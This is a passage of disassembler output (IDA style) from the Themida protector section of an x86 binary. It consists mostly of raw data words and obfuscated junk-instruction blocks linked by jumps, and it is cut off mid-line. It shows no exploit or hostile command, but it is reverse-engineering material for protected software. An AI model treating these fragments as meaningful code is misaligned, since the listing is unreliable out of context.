ebp jmp loc_54AF90 ; --------------------------------------------------------------------------- dd 0C9A0E957h, 0C681FFFFh, 4, 5E08950h, 4, 42Dh, 24048700h dd 2414895Ch, 468h, 0D6015A00h, 0FFDC0CE9h, 83E089FFh dd 148904ECh, 4BA24h, 0C8050000h, 0E9259863h, 33CEh, 34FFC730h dd 0B4E95824h db 32h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54DEB3: ; CODE XREF: Themida_:0054C378j add eax, 4 jmp loc_54DAC5 ; --------------------------------------------------------------------------- db 57h, 0BFh, 2Eh dd 814D861Eh, 6C3DE0C7h, 33B95104h, 0E96E0B0Fh, 0FFFFB61Bh dd 7CEBB966h, 13E98166h, 0C1816677h, 87666BFBh, 664766F9h dd 0C166F987h, 536603E9h, 45A0BB66h, 0FFD1B9E9h, 94E957FFh db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54DEFF: ; CODE XREF: Themida_:0054A4F4j not ch neg ch jmp loc_54A523 ; --------------------------------------------------------------------------- dd 42474FFh, 47AAE9h db 0 ; --------------------------------------------------------------------------- loc_54DF11: ; CODE XREF: Themida_:005528B7j mov edi, 0A40F6C79h add ebx, 6F4755D1h add ebx, edi push ebp mov ebp, 2D6347EAh not ebp inc ebp neg ebp add ebp, 687349D8h jmp loc_549650 ; --------------------------------------------------------------------------- dd 0FF8FBBE9h db 0FFh ; --------------------------------------------------------------------------- loc_54DF39: ; CODE XREF: Themida_:0054EC0Ej mov ebp, 37337AC6h jmp loc_5493E6 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0E7895700h, 4C781h, 0EF810000h, 4, 5C243C87h dd 50240C89h, 0B02BB753h, 5BF800F1h, 0BB8E9h, 88FA8800h dd 24148BD5h, 5B04C483h, 0FFF4FBE9h, 27B951FFh, 1036B2Ah dd 815B59CFh, 2C7h, 243C3300h, 33243C31h, 248B243Ch, 0C8B6624h dd 5AF46824h, 0CDE90000h db 0A2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DFA7: ; CODE XREF: Themida_:0054A278j push edi mov edi, 47D42DBAh jmp loc_547CAD ; --------------------------------------------------------------------------- dw 3C8Bh dd 9034E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DFBA: ; CODE XREF: Themida_:0054FBC3j mov edx, 543C3794h sub [esp+8], edx mov edx, [esp] add esp, 4 pop ecx jmp loc_54F24F ; --------------------------------------------------------------------------- dw 0C15Ch dd 0D0E904E5h, 89FFFF92h, 61BB241Ch, 8127E01Ah, 772AFCF3h dd 5BDA2154h, 0FFE862E9h, 4077FFFFh, 0FF8EFBE9h, 1C77FFFFh dd 1858669Dh, 0E99C2404h, 0FFFF8EECh ; --------------------------------------------------------------------------- loc_54E008: ; CODE XREF: Themida_:00550341j or edx, eax jmp loc_547D07 ; --------------------------------------------------------------------------- db 5Ch dd 24048B66h, 4EC81h, 1C890000h, 0F5CEE924h, 2D40FFFFh dd 66F920BAh, 0BF821635h, 8BC18964h, 0BE92404h, 8100001Ch dd 4C4h, 13BB5300h, 0F7180106h, 0EBC143DBh, 0F7CB8704h dd 0E9CB87D1h, 0FFFFF110h, 5E5AD789h, 5004E7C1h, 665FEFB8h dd 5F280D17h, 2D484951h, 5A08B89Ch, 2D58C701h, 6D1D4E08h dd 805F829h, 0E96D1D4Eh, 0FFFFB602h, 0EA87DD31h, 7E5CF281h dd 0EA812550h, 0CAC3999Fh, 0FFFB90E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E095: ; CODE XREF: Themida_:00550E58j push ebp mov ebp, 1 mov ecx, ebp pop ebp jmp loc_54BD57 ; --------------------------------------------------------------------------- db 83h dd 0FAE904C4h, 66000042h, 55240C8Bh, 0FF9DF7E9h, 0E9495DFFh dd 0FFFFB105h, 4C181h, 0C1830000h, 240C8704h, 0FF9208E9h dd 0E9E589FFh, 0FFFFF29Fh ; --------------------------------------------------------------------------- loc_54E0D4: ; CODE XREF: Themida_:00551119j add esp, 4 shl edi, 6 jmp loc_54E77F ; --------------------------------------------------------------------------- loc_54E0E2: ; CODE XREF: Themida_:005518F6j sub esp, 4 mov [esp], ebx push esp pop ebx jmp loc_547828 ; --------------------------------------------------------------------------- loc_54E0F2: ; CODE XREF: Themida_:0054B418j pop ebp jmp loc_548AA7 ; --------------------------------------------------------------------------- loc_54E0F8: ; CODE XREF: Themida_:0054BFF7j pop ecx xchg ebp, [esp] pop esp mov [esp], edx push 17E01A5Dh pop edx add eax, edx mov edx, [esp] push 69ECh mov [esp], esi jmp loc_54BF0B ; --------------------------------------------------------------------------- loc_54E118: ; CODE XREF: Themida_:0054B6BBj mov ebp, 8771A1h xor ebp, 8771A5h jmp loc_54727E ; --------------------------------------------------------------------------- dd 5E31B850h, 2705703Fh, 29B6E2F3h, 0AE6858C3h, 89000049h dd 34BA2414h, 0E9268A1Eh, 430Ah, 0E92C77FFh, 0FFFF8DA4h ; --------------------------------------------------------------------------- loc_54E150: ; CODE XREF: Themida_:0054F701j shr esi, 2 sub esi, 13250BACh add edi, esi jmp loc_54F2A9 ; --------------------------------------------------------------------------- dd 28B6664h, 4EC81h, 34890000h, 815E5424h, 4C6h, 0D68FE900h dd 295FFFFFh, 0F985E9CDh, 1489FFFFh, 6CE95724h, 5D00002Ch dd 15EF101h, 240C8BCFh, 4C481h, 0C7810000h, 4, 8B243C87h dd 0B70F2424h, 5F8E9C8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E1AE: ; CODE XREF: Themida_:0054EC54j pop ebx and eax, edi jmp loc_552923 ; --------------------------------------------------------------------------- dw 39E9h dd 81FFFF8Dh, 0D5655EC1h, 0CEBD5548h, 8172ED60h, 3514ECC5h dd 0CD34E9F4h, 885AFFFFh, 0E5E95BD9h, 50000035h, 0EE9585Ah dd 0F700002Bh, 94EE81D6h, 219947A0h, 24348BF2h, 8704C483h dd 0F7DD87EAh, 31DD31D3h, 0FE7EE9EBh, 0C581FFFFh, 6E9F4AC2h dd 83240C8Bh, 0EA8104C4h, 9D008D8h, 3D3CE956h, 0D1290000h dd 0C159CA89h, 0B95105EAh, 7AE54083h, 8159CA29h, 88061AC2h dd 4B10E9A7h, 0BA520000h, 4, 875AD329h, 0E95C241Ch, 3C0Dh dd 0E904C483h, 45A6h, 0BB53C201h, 69AB6950h, 3CA7B951h dd 0F181464Fh, 493400C1h, 5659CB01h, 1BEh, 8BF32900h, 0C4812434h dd 4, 4187EB81h, 0C2810EE5h, 6E7E2F33h, 0BE56DA29h, 6E7E2F33h dd 348BF229h, 4C48124h, 0FF000000h, 815B2434h, 4C4h, 8C4EE900h dd 0E289FFFFh, 4BB53h, 0DA010000h, 0E9241C8Bh, 232Ah ; --------------------------------------------------------------------------- loc_54E2B8: ; CODE XREF: Themida_:0054E841j mov eax, 6FC05522h xor eax, 6FC05526h add ecx, eax pop eax push edx push ecx jmp loc_5489E8 ; --------------------------------------------------------------------------- dd 79836855h, 0E95D78F3h, 0FFFFD96Fh, 269168h, 24148900h dd 0C281E289h, 4, 5204C283h, 42474FFh, 0F94AE95Ah, 8B66FFFFh dd 0EC81240Ch, 4, 89241489h, 0C068E2h, 69E90000h, 5000001Dh dd 0E3046B8h, 4EC833Bh, 0BA241489h, 7C57675Fh, 355AD029h dd 881F96AEh, 3DE9C589h, 51FFFFD6h, 0D33468B9h, 17D8E932h dd 248B0000h, 31C33124h, 8BAEE9C2h, 895CFFFFh, 478F2404h dd 38E1E940h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E352: ; CODE XREF: Themida_:00550593j add ecx, ebx jmp loc_54BA57 ; --------------------------------------------------------------------------- loc_54E359: ; CODE XREF: Themida_:005488FEj push ax jmp loc_54BC17 ; --------------------------------------------------------------------------- dd 0E9240489h, 0FFFFA374h, 1D7244B9h, 0F7D9F758h, 49D1F7D1h dd 5FC18149h, 0E9775786h, 0FFFFCD96h, 2E03C581h, 0C58133D6h dd 26022ACFh, 0FFC078E9h, 240C89FFh, 47FEE9h db 0 ; --------------------------------------------------------------------------- loc_54E399: ; CODE XREF: Themida_:00549ED2j add ebx, 0DF4D28Fh xor eax, ebx pop ebx push 59BAh mov [esp], edx mov edx, 377C7838h xor edx, 1206717Bh not edx shl edx, 3 xor edx, 9A77ABABh xor eax, edx pop edx mov ebp, eax push dword ptr [esp] jmp loc_551B61 ; --------------------------------------------------------------------------- loc_54E3CD: ; CODE XREF: Themida_:0054FAFAj mov edi, esp add edi, 4 jmp loc_54EDB5 ; --------------------------------------------------------------------------- dw 0EE2Ch dd 5E9D028h, 81000010h, 4C7h, 787C6800h, 34890000h, 17B8BE24h dd 814E4547h, 0E479D1E6h, 93F68107h, 0E9054411h, 0FFFF9114h dd 4EC81h, 2C890000h, 2474FF24h, 0E2B9E904h, 0C783FFFFh dd 48F78101h, 318C8787h, 243C8BF8h, 4C481h, 0D1E90000h dd 80000018h, 0C82831C1h, 0A8DAE959h, 0EAC1FFFFh, 0CCA8105h dd 810C2275h, 0EB273FF2h, 0A1C2814Dh, 1BCA32Dh, 0DFE95AD5h dd 66FFFFB8h, 0E9240C89h, 3104h ; --------------------------------------------------------------------------- loc_54E464: ; CODE XREF: Themida_:00550C92j mov edi, esp add edi, 4 sub edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] mov [esp], esi mov esi, 10h mov edi, esi push dword ptr [esp] push dword ptr [esp] pop esi add esp, 4 jmp loc_54FB2C ; --------------------------------------------------------------------------- dw 8B5Dh dd 0C481240Ch, 4, 205h, 24048700h, 6624248Bh, 6824048Bh dd 6964h, 81242C89h, 4ECh, 48F5400h, 967CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E4CA: ; CODE XREF: Themida_:005505BFj push ebp mov ebp, 18EB4706h xor [esp+4], ebp jmp loc_549DE8 ; --------------------------------------------------------------------------- loc_54E4D9: ; CODE XREF: Themida_:0055072Fj push esi mov esi, 0ED46458h shr esi, 2 push ebp mov ebp, 3C271115h push ebx jmp loc_5479C2 ; --------------------------------------------------------------------------- loc_54E4EE: ; CODE XREF: Themida_:00547468j push ebx mov ebx, 4 add ecx, ebx pop ebx xchg ecx, [esp] mov esp, [esp] not edx jmp loc_5514FA ; --------------------------------------------------------------------------- dd 8B24048Fh, 89512424h, 4C181E1h, 0E9000000h, 1C73h, 4C3815Bh dd 83000000h, 1C8704C3h, 43685C24h, 8900003Eh, 14B82404h dd 533171Fh, 332478F8h, 1D17E948h, 0E9530000h, 0FFFFC782h dd 8159CB29h, 0C8799BC3h, 83C3010Ah, 2C8904ECh, 799BBD24h dd 0EB290AC8h, 8BD555Dh, 8110AF45h, 365D41CDh, 0FF46812h dd 34890000h, 2B8EBE24h, 0C5815E79h, 1F3F5FBAh, 0ED81F529h dd 1F3F5FBAh, 8ABCE95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E58A: ; CODE XREF: Themida_:0054A118j xor [esp], ecx xor ecx, [esp] pop esp imul cl movzx cx, ah push small 3CE4h mov [esp], cx movzx cx, al push cx pushf jmp loc_546EF4 ; --------------------------------------------------------------------------- loc_54E5AB: ; CODE XREF: Themida_:00551CB5j mov ecx, 4 add esi, ecx pop ecx add esi, 4 xchg esi, [esp] mov esp, [esp] push ecx mov ecx, 639B2F4Eh add ecx, 0FFFFFFFFh shl ecx, 2 sub esp, 4 mov [esp], esi mov esi, 4F7D05B6h add esi, 0D957CD1h inc esi or esi, 180137CAh or esi, 18763D80h sub esi, 0EBE46CFEh add ecx, esi pop esi and eax, ecx mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_547B32 ; --------------------------------------------------------------------------- dw 0A005h dd 0E972C419h, 0FFFFEDDEh, 0BB241C89h, 8CA7DA5h, 3CDEEB81h dd 0DA89E6D6h, 0B9515Bh, 0E9000000h, 0FFFFFBE6h, 4C781h dd 14E90000h, 5700003Ah, 16A06856h, 0E95E58E6h, 1FDCh ; --------------------------------------------------------------------------- loc_54E64C: ; CODE XREF: Themida_:0054FCEBj push 8E4h jmp loc_54A46A ; --------------------------------------------------------------------------- dw 0BB53h dd 225D72A7h, 8D5DC381h, 0C781DDA2h, 23497A07h, 0EF81DF01h dd 23497A07h, 41FBE95Bh, 34FF0000h, 2434FF24h, 5A2434FFh dd 4C481h, 89560000h, 4EC83E6h, 0FFB95DE9h, 678859FFh dd 24048B28h, 0FFFA06E9h, 11E4BFFFh, 92E90450h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54E6A7: ; CODE XREF: Themida_:00548F4Dj pop ecx jmp loc_54DBAA ; --------------------------------------------------------------------------- loc_54E6AD: ; CODE XREF: Themida_:005514FEj xor ebp, eax xor eax, ebp push 326Bh mov [esp], ecx mov ecx, 1 and eax, ecx push dword ptr [esp] mov ecx, [esp] jmp loc_550562 ; --------------------------------------------------------------------------- db 53h dd 3FE9E389h, 89FFFFAFh, 5B5759CFh, 0E9243C8Bh, 40Eh, 0E9E38953h dd 0FFFF9D36h ; --------------------------------------------------------------------------- loc_54E6E8: ; CODE XREF: Themida_:00547DCEj pop ebx add edi, 4 push 4E40h mov [esp], edi jmp loc_54BB01 ; --------------------------------------------------------------------------- db 59h, 56h, 0BEh dd 4B6E303Dh, 0D106E6C1h, 90E1E9EEh, 0E389FFFFh, 4C381h dd 0C3830000h, 241C8704h, 0EB89535Ch, 1C8BD989h, 4C48124h dd 5D000000h, 4244481h, 51C361EBh, 4244C01h, 0B8BE9h db 0 ; --------------------------------------------------------------------------- loc_54E739: ; CODE XREF: Themida_:00551E78j not dword ptr [esp] jmp loc_55113E ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 0D760E924h, 0C33FFFFh, 240C3124h, 5C240C33h, 6824048Bh dd 1D9Eh, 89243489h, 4C681E6h, 83000000h, 17E904EEh, 0FF000002h dd 669D1C77h, 4196658h, 75E99C24h db 87h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E77F: ; CODE XREF: Themida_:0054E0DDj sub edi, 39FF5887h sub edi, 5ACA58E0h sub esp, 4 mov [esp], ebp mov ebp, 40292490h xor ebp, 59DA5BCEh shr ebp, 1 jmp loc_54BBD1 ; --------------------------------------------------------------------------- dw 768h dd 0E9000030h, 0FFFFD1F9h, 42474FFh, 0FFE864E9h, 59CD31FFh dd 0CBABF57h, 0EF816FA3h, 7C050CD7h, 0C6C5F781h, 0EFC1C7CBh dd 0AEC78104h, 8178B55Dh, 1247ACC7h, 0A6ED81BDh, 150E54Fh dd 0B979E9FDh, 5153FFFFh, 88D48850h, 0F4A3E9E1h, 875BFFFFh dd 248B240Ch, 4316624h, 0EDE99C24h, 0ADFFFF86h, 0C800092Dh dd 63E20522h, 575233FBh, 9E1B5BBFh, 5FFA8908h, 0FF9D0FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E821: ; CODE XREF: Themida_:0054DD61j push edx push ebx push 66F25AFBh pop ebx not ebx xor ebx, 0FB70D409h jmp loc_548729 ; --------------------------------------------------------------------------- loc_54E836: ; CODE XREF: Themida_:00551E34j push dword ptr [esp] push dword ptr [esp] pop eax push ecx mov ecx, esp push eax jmp loc_54E2B8 ; --------------------------------------------------------------------------- dw 74FFh dd 8F5B0424h, 70E92404h, 29000025h, 1B6F05F8h, 575F3456h dd 0C8E4E956h, 2489FFFFh, 24048124h, 4, 81242C8Bh, 4C4h dd 4BE5600h, 81000000h, 75505BC5h, 52F50134h, 0FFD2D7E9h dd 0E932FFFFh, 0FFFF8664h, 89525158h, 4C281E2h, 83000000h dd 4EE904EAh db 0E0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E8A3: ; CODE XREF: Themida_:00548207j add ebx, edx jmp loc_54B9C1 ; --------------------------------------------------------------------------- dw 45E9h db 86h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E8AF: ; CODE XREF: Themida_:00548093j or ebx, 281C1077h push ebp mov ebp, 30BF2D36h jmp loc_54B604 ; --------------------------------------------------------------------------- dd 0FF243C89h, 8B042474h, 0C481243Ch, 4, 8B24048Fh, 0F662424h dd 9C2404B3h, 0FF8613E9h, 243487FFh, 1E4AE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_54E8EA: ; CODE XREF: Themida_:0054707Aj mov ebx, 1Ch push ebp mov ebp, 1F241D81h push ecx push ebp mov ebp, 8EC295Fh mov ecx, 0E5C8BA0h sub ecx, ebp jmp loc_54B4B9 ; --------------------------------------------------------------------------- aPMSm db 'P¸"m½"éŒ<',0 dw 8900h dd 0C2892414h, 8B5AD589h db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] and eax, ebp mov ebp, [esp] add esp, 4 or eax, eax jmp loc_551390 ; --------------------------------------------------------------------------- db 89h, 14h, 24h aPsa3 db 'Pé€3',0 align 2 dw 0C381h dd 4854230h, 8124348Bh, 4C4h, 0EFE95500h, 66FFFFDBh, 665DEA89h dd 7B23EB81h, 3FC38166h, 0D3016601h, 3FEB8166h, 0C3816601h dd 5A667B23h, 0DF5AE959h, 0FF56FFFFh, 8B042474h, 77E92434h db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E993: ; CODE XREF: Themida_:00551947j add edi, 35B037B8h add edi, 8B9BAFB3h mov esi, edi pop edi push ecx push 24h jmp loc_54B2E8 ; --------------------------------------------------------------------------- db 0C1h, 0EDh, 4 dd 0FF870AE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E9B5: ; CODE XREF: Themida_:0054BA52j mov esi, [esp] add esp, 4 jmp loc_551FC8 ; --------------------------------------------------------------------------- db 80h dd 0E9C00FE1h, 8AF18005h, 34FFCF20h, 0B8EBE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E9D6: ; CODE XREF: Themida_:0054ECF5j push eax mov eax, 702B5EE0h push ecx mov ecx, eax push ecx push esi mov esi, 549F7A78h sub [esp+4], esi pop esi pop edi add edi, 549F7A78h jmp loc_54938B ; --------------------------------------------------------------------------- loc_54E9F7: ; CODE XREF: Themida_:0054CB6Fj xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp sub esp, 4 jmp loc_54B62C ; --------------------------------------------------------------------------- db 0B0h, 0B4h, 0FEh dd 0E9C504C0h, 0FFFFBA41h ; --------------------------------------------------------------------------- loc_54EA14: ; CODE XREF: Themida_:0054B56Dj pop edx jmp loc_548894 ; --------------------------------------------------------------------------- loc_54EA1A: ; CODE XREF: Themida_:0054F736j sub ecx, 1DB955E4h inc ecx add ecx, 2374AF37h add ebp, ecx pop ecx jmp loc_54BDF5 ; --------------------------------------------------------------------------- db 83h dd 0D9E904C1h, 8900002Ah, 2168243Ch, 5F458F69h, 993EF81h dd 0FB89185Ah, 4E3C15Fh, 0FFB701E9h, 146BB9FFh, 0E9810083h dd 1C7640C2h, 286EE981h, 0D98728E8h, 0FAE9DBF7h, 0ADFFFFC8h dd 0FFF31CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54EA71: ; CODE XREF: Themida_:00552BE8j add edi, 3088091Eh push esi mov esi, 0AC734919h xor edi, esi jmp loc_54CDF1 ; --------------------------------------------------------------------------- loc_54EA84: ; CODE XREF: Themida_:0054A537j sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_54B1A9 ; --------------------------------------------------------------------------- db 0BFh dd 69DF647Fh, 32F4C781h, 19E96875h, 1FFFFBFh, 24048BC2h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_548F5E ; --------------------------------------------------------------------------- dd 66C0B60Fh, 6824148Bh, 7E2Fh, 89241489h, 4C281E2h, 68000000h dd 5E44h, 38D6E9h db 0 ; --------------------------------------------------------------------------- loc_54EAE1: ; CODE XREF: Themida_:0054DBD8j mov [esp], ebx mov ebx, 0AF73A1Eh jmp loc_550978 ; --------------------------------------------------------------------------- dw 0C483h dd 0DA895204h, 1615E9h, 83F6E900h, 35B8FFFFh, 2D436B6Bh dd 51D97A78h, 80397035h, 3E8C113h, 4713C405h, 0B307053Ch dd 0C229A776h, 4EC8358h, 1C8EE9h, 82B25200h, 91E9ADB5h dd 80FFFFD4h, 0EAC04BC2h, 0B525E906h, 430FFFFh, 0B1E99C24h dd 0BAFFFF83h, 4, 148BD501h, 4C48124h, 81000000h, 4ECh dd 240C8900h, 1A0ABB53h, 0F3817BF5h, 7BF51A0Eh, 15BD989h dd 240C8BCDh, 3304C483h, 2C31242Ch, 242C3324h, 1D24E95Ch dd 0E6C10000h, 3BE68106h, 814DD75Dh, 0AE7AB2EEh, 5BE95020h db 0A5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EB97: ; CODE XREF: Themida_:0054AC05j sub esi, 174A466h add eax, esi pop esi jmp loc_54D459 ; --------------------------------------------------------------------------- loc_54EBA5: ; CODE XREF: Themida_:00550F01j xchg ebx, [esp] jmp loc_549C5B ; --------------------------------------------------------------------------- db 58h, 31h, 0EBh dd 27E3815Dh, 0E974BD20h, 0FFFFD80Eh, 405h, 0E9525300h dd 0FFFFBA77h ; --------------------------------------------------------------------------- loc_54EBC8: ; CODE XREF: Themida_:0055286Cj pop ecx add esp, 4 pop ebx jmp loc_54CAE1 ; --------------------------------------------------------------------------- loc_54EBD2: ; CODE XREF: Themida_:005521AAj sub ecx, ebp pop ebp mov edx, ecx jmp loc_5498F6 ; --------------------------------------------------------------------------- dd 0E9168h, 240C8900h, 0FFD984E9h, 241C89FFh, 0E2E990B7h dd 81FFFF90h, 86A025C1h, 59CE01C0h, 5C243487h, 0FFC6FCE9h db 0FFh ; --------------------------------------------------------------------------- loc_54EC05: ; CODE XREF: Themida_:0054C95Bj add esp, 4 add ecx, edi push ebp jmp loc_54DF39 ; --------------------------------------------------------------------------- db 50h dd 4B8h, 58C10100h, 8904EC83h, 0EC83242Ch, 24148904h, 0FF9F0AE9h dd 0B60F59FFh, 8B6866C0h, 0A56EE915h, 835AFFFFh, 3C3304C7h dd 243C3124h, 0E9243C33h, 0FFFFF6EEh ; --------------------------------------------------------------------------- loc_54EC4C: ; CODE XREF: Themida_:0054AC21j add edi, 0CC96096Fh xor edi, ebx jmp loc_54E1AE ; --------------------------------------------------------------------------- db 30h, 0C3h, 0E9h dd 0FFFFFE60h ; --------------------------------------------------------------------------- loc_54EC60: ; CODE XREF: Themida_:00549F16j pop ecx not edx sub edx, 0B60B049Dh mov ebx, edx mov edx, [esp] add esp, 4 push ebx mov ebx, 40631CC4h shl ebx, 5 sub ebx, 61AA6BADh xor ebx, 0E8826497h sub eax, ebx pop ebx sub eax, ebx add eax, 423B4844h pop ebx push ebp push esp mov ebp, [esp] add esp, 4 add ebp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp jmp loc_55242C ; --------------------------------------------------------------------------- dd 0B5240C89h, 0EB885325h, 595BDA88h, 6866E2D0h, 8966305Ch dd 36E92414h, 57FFFFE3h, 357E53BFh, 81474716h, 0E56730F7h dd 0D6C7813Ch, 2945CE21h, 2C11E9F8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54ECEA: ; CODE XREF: Themida_:00549DD8j mov edx, 71C6772Bh xor ebp, edx pop edx neg ebp push edi jmp loc_54E9D6 ; --------------------------------------------------------------------------- loc_54ECFA: ; CODE XREF: Themida_:005508E5j xor ebx, [esp] jmp loc_54B150 ; --------------------------------------------------------------------------- dw 34FFh dd 3E12E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54ED0A: ; CODE XREF: Themida_:0054AF2Dj add esp, 4 pop eax not eax push ecx push eax pop ecx pop eax push ecx jmp loc_548720 ; --------------------------------------------------------------------------- dw 0D35Ch dd 0D1E92424h, 50FFFF81h, 91E95854h, 89FFFFFEh, 4C781E7h dd 0E9000000h, 0FFFF9775h ; --------------------------------------------------------------------------- loc_54ED38: ; CODE XREF: Themida_:00552222j add ebp, edx sub ebp, 1A2D54D8h pop edx xchg ebp, [esp] jmp loc_54AA41 ; --------------------------------------------------------------------------- db 55h, 0E9h, 0D8h db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54ED4F: ; CODE XREF: Themida_:0054BF06j inc ebp jmp loc_552D70 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0FFDD37E9h, 5BDF29FFh, 815FFD21h, 7D3753C5h, 1FC58172h dd 8159E23Dh, 0CA0400C5h, 5DEA311Bh, 99E9D001h, 5DFFFF88h dd 12546835h, 58C22956h, 0C103E2C1h, 0F28108E2h, 782576Ah dd 7EAAEA81h, 0C28160E2h, 5C9F359h, 2D5AD029h, 27601A8Fh dd 13E968h, 243C8900h, 0FF9B81E9h db 0FFh ; --------------------------------------------------------------------------- loc_54EDB5: ; CODE XREF: Themida_:0054E3D5j push esi mov esi, 22B05E9Bh xor esi, 22B05E9Fh jmp loc_54AA50 ; --------------------------------------------------------------------------- loc_54EDC6: ; CODE XREF: Themida_:0054B6D1j pop ebp push ebp jmp loc_5488B1 ; --------------------------------------------------------------------------- loc_54EDCD: ; CODE XREF: Themida_:0054A63Aj sub edi, 0D95DCE7Fh mov edx, edi mov edi, [esp] add esp, 4 sub edx, ecx pop ecx and eax, edx mov edx, [esp] push 6366h mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_54F8EE ; --------------------------------------------------------------------------- dw 0BEBEh dd 29092A14h, 0EBD15EF3h, 21A1B850h, 0C3010E30h, 8124048Bh dd 4C4h, 5BDF8900h, 739268h, 242C8900h, 3043BFBDh, 5DEF0906h dd 0FFE9D2E9h, 0C8BF57FFh, 0F7009119h, 0AFE9E9D7h, 5166FFFFh dd 0FFCE3CE9h, 2434FFFFh, 592434FFh, 81E28952h, 4C2h, 0A1BD5500h dd 0C1639C4Eh, 87E908E5h db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54EE63: ; CODE XREF: Themida_:00549E80j mov ebp, esp jmp loc_547F3E ; --------------------------------------------------------------------------- loc_54EE6A: ; CODE XREF: Themida_:0054A307j add esp, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp loc_54EE7A: ; CODE XREF: Themida_:loc_5493FFj ; Themida_:00550AD3j push dword ptr [edi+24h] push edx push eax push 6D754E65h pop eax jmp loc_54A30C ; --------------------------------------------------------------------------- dw 8149h dd 1EF8EFE9h, 0E4AEE97Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EE96: ; CODE XREF: Themida_:005477E6j sub esp, 4 mov [esp], ecx sub esp, 4 mov [esp], eax jmp loc_552A3A ; --------------------------------------------------------------------------- loc_54EEAA: ; CODE XREF: Themida_:00547B2Dj mov esp, [esp] jmp loc_54F140 ; --------------------------------------------------------------------------- dw 1433h dd 48F5C24h, 0E059E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EEBE: ; CODE XREF: Themida_:005488D9j pop edi jmp loc_547BB2 ; --------------------------------------------------------------------------- dd 0E3E9E589h, 1FFFFC0h, 0FEC381CBh, 0E9614471h, 0FFFFB2D0h dd 50515352h, 0C8FEE6B0h, 4FAE9h db 0 ; --------------------------------------------------------------------------- loc_54EEE5: ; CODE XREF: Themida_:0054C7D0j push ebx mov ebx, esp add ebx, 4 jmp loc_54D817 ; --------------------------------------------------------------------------- db 0B9h align 8 dd 103D101h, 83240C8Bh, 575A04C4h, 4BE95F54h, 0B1FFFFF7h dd 0FFC180EFh, 0E980C1FEh, 80D1F6AFh, 0BC2C80E9h, 5351C828h dd 1C1AE952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54EF26: ; CODE XREF: Themida_:0054AADEj mov [esp], edi push ebp jmp loc_550507 ; --------------------------------------------------------------------------- db 58h dd 0FD5EF729h, 1B51BD55h, 0B9512CA7h, 1AB43722h, 0FFF874E9h dd 0C8B66FFh, 5685024h, 89000076h, 4812424h, 424h, 4055800h dd 55000000h, 2BF57h, 0FD890000h, 81243C8Bh, 4C4h, 224C2D00h dd 0E80179D8h, 5DF0BF57h, 80E94F73h, 89000039h, 84E9242Ch dd 0BEFFFFF3h, 799A3848h, 3E2A00B8h, 8E9EE9BEh, 0B951FFFFh dd 8BC6AF5h, 8244C29h, 0BF88E959h, 0C481FFFFh, 4, 0E9240433h dd 0FFFF8EDEh, 28996852h, 0FBE90000h, 88FFFF95h, 0D738E9D0h dd 5053FFFFh, 103DB0B8h, 0B2BE563Ch, 0E93C103Dh, 19DCh dd 8308EAC1h, 0EAC1FFC2h, 0B9EA8107h, 4216D132h, 3CE6EA81h dd 0D031A05Bh, 8124148Bh, 4C4h, 241C8B00h, 81E78957h, 4C7h dd 4C78100h, 87000000h, 685C243Ch, 1887h, 0BD242C89h, 30513542h dd 6AF5BF57h, 7C0108BCh, 15E90824h db 0B1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F02F: ; CODE XREF: Themida_:0054F696j add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], esi push 2E6C7C1Ah pop esi add eax, 16D0655Dh add eax, esi jmp loc_547CE0 ; --------------------------------------------------------------------------- loc_54F051: ; CODE XREF: Themida_:00547D72j xor eax, 58CAD496h push eax neg dword ptr [esp] pop eax jmp loc_551D5D ; --------------------------------------------------------------------------- dd 8704C683h, 565C2434h, 0C681E689h, 4, 1840E952h, 34FF0000h dd 6685924h, 8900005Eh, 0D868242Ch, 89000014h, 4832424h dd 0FE90424h db 0B9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F093: ; CODE XREF: Themida_:0054D2F7j add eax, ebp jmp $+5 pop ebp pop ecx add ebx, 121F44ABh add ebx, 2ED6604Fh sub ebx, eax sub ebx, 